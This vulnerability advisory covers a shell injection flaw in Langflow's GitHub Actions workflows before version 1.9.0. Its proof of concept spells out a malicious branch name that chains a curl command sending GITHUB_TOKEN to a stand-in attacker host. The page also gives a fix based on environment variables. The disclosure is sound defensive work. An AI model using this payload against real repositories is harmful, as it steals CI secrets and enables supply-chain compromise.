CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
7DescriptionNVD
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., ${{ github.head_ref }}) in run: steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., GITHUB_TOKEN), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.
---
Details
Several workflows in .github/workflows/ and .github/actions/ reference GitHub context variables directly in run: shell commands, such as:
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"Or:
run: npx playwright install ${{ inputs.browsers }} --with-depsSince github.head_ref, github.event.pull_request.title, and custom inputs.* may contain user-controlled values, they must be treated as untrusted input. Direct interpolation without proper quoting or sanitization leads to shell command injection.
---
PoC
- Fork the Langflow repository
- Create a new branch with the name:
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN- Open a Pull Request to the main branch from the new branch
- GitHub Actions will run the affected workflow (e.g.,
deploy-docs-draft.yml) - The
run:step containing:
echo "Branch: ${{ github.head_ref }}"Will execute:
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN- The attacker receives the CI secret via the exfil URL.
---
Impact
- Type: Shell Injection / Remote Code Execution in CI
- Scope: Any public Langflow fork with GitHub Actions enabled
- Impact: Full access to CI secrets (e.g.,
GITHUB_TOKEN), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data
---
Suggested Fix
Refactor affected workflows to use environment variables and wrap them in double quotes:
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""Avoid direct ${{ ... }} interpolation inside run: for any user-controlled value.
---
Affected Files (Langflow 1.3.4)
.github/actions/install-playwright/action.yml.github/workflows/deploy-docs-draft.yml.github/workflows/docker-build.yml.github/workflows/release_nightly.yml.github/workflows/python_test.yml.github/workflows/typescript_test.yml
AnalysisAI
An unauthenticated shell injection vulnerability exists in Langflow's GitHub Actions CI/CD workflows, allowing attackers to execute arbitrary commands by crafting malicious branch names or pull request titles. Langflow versions prior to 1.9.0 are affected, specifically the langflow-ai:langflow product. …
Sign in for full analysis, threat intelligence, and remediation guidance.
RemediationAI
Within 24 hours: Identify all instances of langflow-ai:langflow versions prior to 1.9.0 in your CI/CD environments and development repositories; immediately revoke any GITHUB_TOKEN credentials that may have been exposed. Within 7 days: Upgrade all Langflow installations to version 1.9.0 or later and rotate all GitHub Actions secrets and access tokens. …
Sign in for detailed remediation steps.
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-14790